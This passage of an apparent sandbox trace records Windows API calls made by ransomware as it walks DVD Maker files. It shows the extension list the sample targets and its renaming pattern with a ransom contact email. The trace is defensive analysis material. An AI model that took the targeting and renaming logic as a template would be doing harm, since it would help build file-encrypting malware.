maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.440] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.441] lstrlenW (lpString=".doc") returned 4 [0056.441] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.441] lstrlenW (lpString=".docx") returned 5 [0056.441] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0056.441] lstrlenW (lpString=".pdf") returned 4 [0056.441] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.441] lstrlenW (lpString=".xls") returned 4 [0056.441] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.441] lstrlenW (lpString=".xlsx") returned 5 [0056.441] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0056.441] lstrlenW (lpString=".ppt") returned 4 [0056.441] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.441] lstrlenW (lpString=".zip") returned 4 [0056.441] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.441] lstrlenW (lpString=".rar") returned 4 [0056.441] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.441] lstrlenW (lpString=".bz2") returned 4 [0056.441] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.441] lstrlenW (lpString=".7z") returned 3 [0056.441] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.441] lstrlenW (lpString=".dbf") returned 4 [0056.441] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.441] lstrlenW (lpString=".1cd") returned 4 [0056.441] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.441] lstrlenW (lpString=".jpg") returned 4 [0056.441] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.441] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.442] lstrlenW (lpString=".doc") returned 4 [0056.442] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.442] lstrlenW (lpString=".docx") returned 5 [0056.442] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0056.442] lstrlenW (lpString=".pdf") returned 4 [0056.442] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.442] lstrlenW (lpString=".xls") returned 4 [0056.442] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.442] lstrlenW (lpString=".xlsx") returned 5 [0056.442] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0056.442] lstrlenW (lpString=".ppt") returned 4 [0056.442] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.442] lstrlenW (lpString=".zip") returned 4 [0056.442] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.442] lstrlenW (lpString=".rar") returned 4 [0056.442] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.442] lstrlenW (lpString=".bz2") returned 4 [0056.442] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.442] lstrlenW (lpString=".7z") returned 3 [0056.442] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.442] lstrlenW (lpString=".dbf") returned 4 [0056.442] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.442] lstrlenW (lpString=".1cd") returned 4 [0056.442] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.442] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0056.442] lstrlenW (lpString=".jpg") returned 4 [0056.442] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.443] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.443] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0056.443] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0056.443] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3304) returned 1 [0056.443] CloseHandle (hObject=0x224) returned 1 [0056.443] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0056.443] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.443] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.443] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.443] lstrlenW (lpString=".doc") returned 4 [0056.443] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.443] lstrlenW (lpString=".docx") returned 5 [0056.443] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.443] lstrlenW (lpString=".pdf") returned 4 [0056.443] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.443] lstrlenW (lpString=".xls") returned 4 [0056.444] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.444] lstrlenW (lpString=".xlsx") returned 5 [0056.444] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.444] lstrlenW (lpString=".ppt") returned 4 [0056.444] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.444] lstrlenW (lpString=".zip") returned 4 [0056.444] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.444] lstrlenW (lpString=".rar") returned 4 [0056.444] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.444] lstrlenW (lpString=".bz2") returned 4 [0056.444] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.444] lstrlenW (lpString=".7z") returned 3 [0056.444] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.444] lstrlenW (lpString=".dbf") returned 4 [0056.444] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.444] lstrlenW (lpString=".1cd") returned 4 [0056.444] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.444] lstrlenW (lpString=".jpg") returned 4 [0056.444] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.444] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.444] lstrlenW (lpString=".doc") returned 4 [0056.444] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.444] lstrlenW (lpString=".docx") returned 5 [0056.444] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.444] lstrlenW (lpString=".pdf") returned 4 [0056.444] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.444] lstrlenW (lpString=".xls") returned 4 [0056.444] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.444] lstrlenW (lpString=".xlsx") returned 5 [0056.445] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.445] lstrlenW (lpString=".ppt") returned 4 [0056.445] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.445] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.445] lstrlenW (lpString=".zip") returned 4 [0056.445] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.445] lstrlenW (lpString=".rar") returned 4 [0056.445] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.445] lstrlenW (lpString=".bz2") returned 4 [0056.445] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.445] lstrlenW (lpString=".7z") returned 3 [0056.445] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.445] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.445] lstrlenW (lpString=".dbf") returned 4 [0056.445] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.445] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.445] lstrlenW (lpString=".1cd") returned 4 [0056.445] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.445] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0056.445] lstrlenW (lpString=".jpg") returned 4 [0056.445] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.445] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.445] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0056.445] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0056.445] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3467) returned 1 [0056.445] CloseHandle (hObject=0x224) returned 1 [0056.446] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0056.446] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.446] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.446] lstrlenW (lpString=".doc") returned 4 [0056.446] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.446] lstrlenW (lpString=".docx") returned 5 [0056.446] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0056.446] lstrlenW (lpString=".pdf") returned 4 [0056.446] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.446] lstrlenW (lpString=".xls") returned 4 [0056.446] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.446] lstrlenW (lpString=".xlsx") returned 5 [0056.446] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0056.446] lstrlenW (lpString=".ppt") returned 4 [0056.446] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.446] lstrlenW (lpString=".zip") returned 4 [0056.446] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.446] lstrlenW (lpString=".rar") returned 4 [0056.446] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.446] lstrlenW (lpString=".bz2") returned 4 [0056.446] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.446] lstrlenW (lpString=".7z") returned 3 [0056.446] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.446] lstrlenW (lpString=".dbf") returned 4 [0056.446] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.446] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.446] lstrlenW (lpString=".1cd") returned 4 [0056.447] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.447] lstrlenW (lpString=".jpg") returned 4 [0056.447] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.447] lstrlenW (lpString=".doc") returned 4 [0056.447] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString=".docx") returned 5 [0056.447] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0056.447] lstrlenW (lpString=".pdf") returned 4 [0056.447] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString=".xls") returned 4 [0056.447] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.447] lstrlenW (lpString=".xlsx") returned 5 [0056.447] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0056.447] lstrlenW (lpString=".ppt") returned 4 [0056.447] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.447] lstrlenW (lpString=".zip") returned 4 [0056.447] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.447] lstrlenW (lpString=".rar") returned 4 [0056.447] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.447] lstrlenW (lpString=".bz2") returned 4 [0056.447] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString=".7z") returned 3 [0056.447] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.447] lstrlenW (lpString=".dbf") returned 4 [0056.447] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.447] lstrlenW (lpString=".1cd") returned 4 [0056.447] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.447] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0056.448] lstrlenW (lpString=".jpg") returned 4 [0056.448] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.448] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.448] lstrlenW (lpString="babyblue.png") returned 12 [0056.448] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0056.452] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=12349) returned 1 [0056.452] CloseHandle (hObject=0x224) returned 1 [0056.452] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0056.452] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.452] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString=".doc") returned 4 [0056.453] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.453] lstrlenW (lpString=".docx") returned 5 [0056.453] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.453] lstrlenW (lpString=".pdf") returned 4 [0056.453] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.453] lstrlenW (lpString=".xls") returned 4 [0056.453] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.453] lstrlenW (lpString=".xlsx") returned 5 [0056.453] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.453] lstrlenW (lpString=".ppt") returned 4 [0056.453] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString=".zip") returned 4 [0056.453] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.453] lstrlenW (lpString=".rar") returned 4 [0056.453] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.453] lstrlenW (lpString=".bz2") returned 4 [0056.453] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.453] lstrlenW (lpString=".7z") returned 3 [0056.453] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString=".dbf") returned 4 [0056.453] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString=".1cd") returned 4 [0056.453] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString=".jpg") returned 4 [0056.453] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.453] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.454] lstrlenW (lpString=".doc") returned 4 [0056.454] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.454] lstrlenW (lpString=".docx") returned 5 [0056.454] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.454] lstrlenW (lpString=".pdf") returned 4 [0056.454] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.454] lstrlenW (lpString=".xls") returned 4 [0056.454] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.454] lstrlenW (lpString=".xlsx") returned 5 [0056.454] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.454] lstrlenW (lpString=".ppt") returned 4 [0056.454] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.454] lstrlenW (lpString=".zip") returned 4 [0056.454] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.454] lstrlenW (lpString=".rar") returned 4 [0056.454] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.454] lstrlenW (lpString=".bz2") returned 4 [0056.454] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.454] lstrlenW (lpString=".7z") returned 3 [0056.454] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.454] lstrlenW (lpString=".dbf") returned 4 [0056.454] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.454] lstrlenW (lpString=".1cd") returned 4 [0056.454] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.454] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0056.454] lstrlenW (lpString=".jpg") returned 4 [0056.454] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.454] lstrcmpiW (lpString1=".wmv", lpString2=".wiki") returned 1 [0056.455] lstrlenW (lpString="BabyBoyMainBackground.wmv") returned 25 [0056.455] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.455] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=341322) returned 1 [0056.455] CloseHandle (hObject=0x20c) returned 1 [0056.455] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0056.456] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0056.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0056.456] lstrlenW (lpString=".doc") returned 4 [0056.456] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0056.456] lstrlenW (lpString=".docx") returned 5 [0056.456] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0056.456] lstrlenW (lpString=".pdf") returned 4 [0056.456] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0056.456] lstrlenW (lpString=".xls") returned 4 [0056.456] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0056.456] lstrlenW (lpString=".xlsx") returned 5 [0056.456] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0056.456] lstrlenW (lpString=".ppt") returned 4 [0056.456] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0056.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0056.456] lstrlenW (lpString=".zip") returned 4 [0056.456] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0056.456] lstrlenW (lpString=".rar") returned 4 [0056.456] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0056.456] lstrlenW (lpString=".bz2") returned 4 [0056.456] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0056.456] lstrlenW (lpString=".7z") returned 3 [0056.456] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0056.456] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0056.456] lstrlenW (lpString=".dbf") returned 4 [0056.456] 